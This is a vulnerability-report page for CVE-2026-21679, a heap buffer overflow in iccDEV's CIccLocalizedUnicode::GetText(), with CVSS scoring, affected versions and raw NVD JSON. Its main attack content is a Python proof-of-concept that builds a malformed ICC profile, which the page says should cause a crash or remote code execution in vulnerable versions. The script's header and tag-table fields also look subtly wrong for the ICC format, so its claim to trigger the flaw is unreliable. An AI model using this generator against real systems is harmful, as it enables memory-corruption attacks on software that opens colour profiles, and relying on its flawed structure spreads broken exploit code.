Security Vulnerability Report
中文
CVE-2026-21679 CVSS 8.8 HIGH

CVE-2026-21679

Published: 2026-01-07 18:15:55
Last Modified: 2026-01-09 21:34:29

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap-buffer-overflow in CIccLocalizedUnicode::GetText(). This issue has been patched in version 2.3.1.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21679 PoC - iccDEV CIccLocalizedUnicode::GetText() Heap Buffer Overflow This PoC demonstrates the heap buffer overflow vulnerability in iccDEV < 2.3.1.2 """ import struct import os def create_malicious_icc_profile(): """ Create a malicious ICC profile that triggers heap buffer overflow in CIccLocalizedUnicode::GetText() """ # ICC Profile Header (128 bytes) profile_size = 300 # Malicious size to trigger overflow profile_header = bytearray(128) # Fill header with specific values to make it valid struct.pack_into('>I', profile_header, 0, profile_size) # Profile size profile_header[4:8] = b'lcms' # Preferred CMM type profile_header[8:12] = b'sRGB' # Color space profile_header[12:16] = b'XYZ ' # PCS # Create malicious tag table with oversized text data tag_count = 1 tag_table = bytearray(4 + tag_count * 12) struct.pack_into('>I', tag_table, 0, tag_count) # Tag signature for 'desc' (description) struct.pack_into('>I', tag_table, 4, 0x64657363) # 'desc' # Offset and size pointing to oversized text data struct.pack_into('>I', tag_table, 8, 128) # Offset struct.pack_into('>I', tag_table, 12, 0x7FFFFFFF) # Malicious size # Create oversized text data that will trigger overflow # This simulates the data that CIccLocalizedUnicode::GetText() will process malicious_text = bytearray(1024) # Much larger than expected malicious_text[0:4] = struct.pack('>I', 0x5F6E756C) # null type marker malicious_text[4:8] = struct.pack('>I', 0x7FFFFFFF) # Oversized length # Combine all parts icc_profile = profile_header + tag_table + malicious_text # Write the malicious profile to file output_file = 'malicious_profile.icc' with open(output_file, 'wb') as f: f.write(icc_profile) print(f'[+] Created malicious ICC profile: {output_file}') print(f'[+] Profile size: {len(icc_profile)} bytes') print(f'[+] Expected to trigger heap buffer overflow in CIccLocalizedUnicode::GetText()') return output_file def verify_vulnerability(): """ Verify if the target system is vulnerable """ print('\n[*] CVE-2026-21679 Vulnerability Verification') print('[*] Target: iccDEV < 2.3.1.2') print('[*] Vulnerability: Heap buffer overflow in CIccLocalizedUnicode::GetText()') print('[*] CVSS Score: 8.8 (High)') print('\n[!] This PoC is for educational and security testing purposes only.') if __name__ == '__main__': print('CVE-2026-21679 PoC - iccDEV Heap Buffer Overflow') print('=' * 60) verify_vulnerability() create_malicious_icc_profile() print('\n[*] To test, load the malicious profile.icc with a vulnerable version of iccDEV') print('[*] Expected result: Heap buffer overflow leading to crash or RCE')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21679", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:55.143", "lastModified": "2026-01-09T21:34:28.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap-buffer-overflow in CIccLocalizedUnicode::GetText(). This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV es vulnerable a un desbordamiento de búfer de montón en CIccLocalizedUnicode::GetText(). Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/2eb25ab95f0db7664ec3850390b6f89e302e7039", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/328", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/329", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-h4wg-473g-p5wc", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}